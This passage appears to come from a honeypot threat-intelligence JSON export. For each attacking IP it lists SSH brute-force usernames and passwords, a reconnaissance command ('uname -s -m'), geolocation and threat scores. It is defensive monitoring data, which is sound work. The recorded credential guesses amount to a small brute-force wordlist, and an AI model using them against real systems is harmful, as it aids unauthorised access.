        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:30:41.140000+00:00",
        "last_seen_30d": "2026-03-11T03:34:04.125000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29,
        "Suricata": 12
      }
    },
    "38.128.238.36": {
      "attack_count": 28,
      "first_seen": "2026-03-24T12:47:08.726Z",
      "last_seen": "2026-03-24T12:57:57.953Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Chibougamau",
      "asn": 53863,
      "as_org": "I.D. Logique",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T12:47:08.726000+00:00",
        "last_seen_30d": "2026-03-24T13:08:59.148000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 19
      }
    },
    "20.123.146.92": {
      "attack_count": 25,
      "first_seen": "2026-03-22T12:16:28.957Z",
      "last_seen": "2026-03-31T07:51:53.203Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "karim"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "2019.com.cn",
        "Azureuser123",
        "vr123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:16:28.957000+00:00",
        "last_seen_30d": "2026-03-31T07:52:56.089000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 14
      }
    },
    "219.151.191.44": {
      "attack_count": 25,
      "first_seen": "2026-03-14T21:05:33.657Z",
      "last_seen": "2026-03-14T21:05:46.832Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "021networks",
        "Admin01234",
        "QU#W5&mm#R24"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-14T21:05:33.657000+00:00",
        "last_seen_30d": "2026-03-19T20:46:58.789000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12,
        "Honeytrap": 1
      }
    },
    "104.168.56.24": {
      "attack_count": 20,
      "first_seen": "2026-03-30T09:40:09.305Z",
      "last_seen": "2026-03-30T09:55:34.321Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T09:36:27.762000+00:00",
        "last_seen_30d": "2026-03-30T09:56:36.216000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 13
      }
    },
    "106.74.128.145": {
      "attack_count": 20,
      "first_seen": "2026-03-04T15:49:34.828Z",
      "last_seen": "2026-03-04T15:49:51.285Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "meadow1",
        "mohammed123",
        "root"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 133118,
      "as_org": "China Unicom IP network",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:49:34.828000+00:00",
        "last_seen_30d": "2026-03-04T15:50:53.715000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "120.48.1.218": {
      "attack_count": 17,
      "first_seen": "2026-03-15T23:33:07.712Z",
      "last_seen": "2026-03-16T00:34:05.643Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "pi",
        "root"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS",
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T23:33:07.712000+00:00",
        "last_seen_30d": "2026-03-16T00:36:00.833000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 9
      }
    },
    "122.8.187.90": {
      "attack_count": 15,
      "first_seen": "2026-03-18T22:09:47.492Z",
      "last_seen": "2026-03-18T23:14:10.738Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "emo"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025",
        "Itsemoemo2025@Fuck@allPBX"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T22:09:47.492000+00:00",
        "last_seen_30d": "2026-03-18T23:15:18.822000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 15
      }
    },
    "38.188.160.121": {
      "attack_count": 15,
      "first_seen": "2026-03-11T00:11:49.540Z",
      "last_seen": "2026-03-11T00:34:18.505Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "180988",
        "Gaelle",
        "jollibee1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:11:49.540000+00:00",
        "last_seen_30d": "2026-03-11T00:35:22.571000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "120.48.20.114": {
      "attack_count": 14,
      "first_seen": "2026-03-20T11:36:11.630Z",
      "last_seen": "2026-03-20T11:46:05.513Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "centos7",
        "i"
      ],
      "passwords_attempted": [
        "123456",
        "i123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T11:36:11.630000+00:00",
        "last_seen_30d": "2026-03-20T11:56:13.932000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "157.245.118.24": {
      "attack_count": 12,
      "first_seen": "2026-03-24T04:17:14.822Z",
      "last_seen": "2026-03-24T04:17:41.648Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 69.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 108205,
        "days_active_30d": 19,
        "ports_targeted_30d": 65655,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-03-06T12:46:54.151000+00:00",
        "last_seen_30d": "2026-03-24T04:28:31.425000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97386,
        "Honeytrap": 10771,
        "Cowrie": 12,
        "Dionaea": 9,
        "ConPot": 7,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "220.78.78.97": {
      "attack_count": 10,
      "first_seen": "2026-03-16T10:25:04.424Z",
      "last_seen": "2026-03-16T10:25:07.522Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mapo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T10:25:04.424000+00:00",
        "last_seen_30d": "2026-03-16T10:26:17.421000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "147.185.132.222": {
      "attack_count": 8,
      "first_seen": "2026-03-10T16:04:19.866Z",
      "last_seen": "2026-03-27T04:29:55.272Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 29,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T09:37:30+00:00",
        "last_seen_30d": "2026-03-31T13:13:48.368000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 40,
        "Cowrie": 8,
        "Dionaea": 3,
        "Tanner": 1
      }
    },
    "42.81.4.42": {
      "attack_count": 8,
      "first_seen": "2026-03-02T05:59:12.658Z",
      "last_seen": "2026-03-02T06:06:13.644Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58542,
      "as_org": "Tianjij,300000",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T05:59:12.658000+00:00",
        "last_seen_30d": "2026-03-02T06:16:20.161000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "183.179.164.210": {
      "attack_count": 6,
      "first_seen": "2026-03-28T15:41:10.483Z",
      "last_seen": "2026-03-28T15:50:12.576Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T15:41:10.483000+00:00",
        "last_seen_30d": "2026-03-28T15:51:14.687000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "206.168.34.61": {
      "attack_count": 6,
      "first_seen": "2026-03-13T18:53:57.479Z",
      "last_seen": "2026-03-13T18:54:48.018Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 19,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T16:03:56+00:00",
        "last_seen_30d": "2026-03-21T19:08:29.154000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 61,
        "Cowrie": 6,
        "Dionaea": 4,
        "Sentrypeer": 1
      }
    },
    "210.186.154.155": {
      "attack_count": 6,
      "first_seen": "2026-03-24T09:29:47.563Z",
      "last_seen": "2026-03-24T09:30:19.360Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Johor Bahru",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T09:29:47.563000+00:00",
        "last_seen_30d": "2026-03-24T09:31:25.856000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "103.171.69.74": {
      "attack_count": 5,
      "first_seen": "2026-03-05T13:55:02.127Z",
      "last_seen": "2026-03-05T13:55:04.155Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T13:55:02.127000+00:00",
        "last_seen_30d": "2026-03-05T13:56:07.545000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "113.219.245.57": {
      "attack_count": 5,
      "first_seen": "2026-03-18T05:14:18.909Z",
      "last_seen": "2026-03-18T05:14:22.285Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "fan"
      ],
      "passwords_attempted": [
        "123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 63835,
      "as_org": "No.293,Wanbao Avenue",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T05:14:18.909000+00:00",
        "last_seen_30d": "2026-03-18T05:15:25.345000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "120.48.140.232": {
      "attack_count": 5,
      "first_seen": "2026-03-27T21:35:30.857Z",
      "last_seen": "2026-03-27T21:35:34.051Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "qweasdyxc"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T21:35:30.857000+00:00",
        "last_seen_30d": "2026-03-27T21:36:35.739000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "77.90.185.73": {
      "attack_count": 5,
      "first_seen": "2026-03-05T23:36:23.152Z",
      "last_seen": "2026-03-05T23:36:25.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin@kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:05:20.191000+00:00",
        "last_seen_30d": "2026-03-07T11:35:51.290000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 5,
        "Heralding": 5
      }
    },
    "104.152.52.146": {
      "attack_count": 4,
      "first_seen": "2026-03-05T04:41:27.789Z",
      "last_seen": "2026-03-05T04:41:28.227Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 57.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T04:41:27.789000+00:00",
        "last_seen_30d": "2026-03-27T06:39:11.105000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Dionaea": 5,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "134.199.152.38": {
      "attack_count": 4,
      "first_seen": "2026-03-16T03:56:24.901Z",
      "last_seen": "2026-03-16T12:30:22.807Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:56:24.901000+00:00",
        "last_seen_30d": "2026-03-16T12:31:25.268000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4
      }
    },
    "198.235.24.83": {
      "attack_count": 4,
      "first_seen": "2026-03-19T16:52:18.685Z",
      "last_seen": "2026-03-19T16:52:21.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.2,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 27,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T02:43:44+00:00",
        "last_seen_30d": "2026-03-31T08:39:43.550000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Honeytrap": 12,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "52.91.1.143": {
      "attack_count": 4,
      "first_seen": "2026-03-24T00:51:47.270Z",
      "last_seen": "2026-03-24T00:51:53.291Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T00:51:47.270000+00:00",
        "last_seen_30d": "2026-03-24T00:52:54.774000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "109.122.198.82": {
      "attack_count": 3,
      "first_seen": "2026-03-27T03:52:11.098Z",
      "last_seen": "2026-03-27T03:52:19.405Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        ""
      ],
      "passwords_attempted": [
        "id"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 213887,
      "as_org": "WAIcore Ltd",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T03:52:11.098000+00:00",
        "last_seen_30d": "2026-03-27T03:53:21.071000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 1
      }
    },
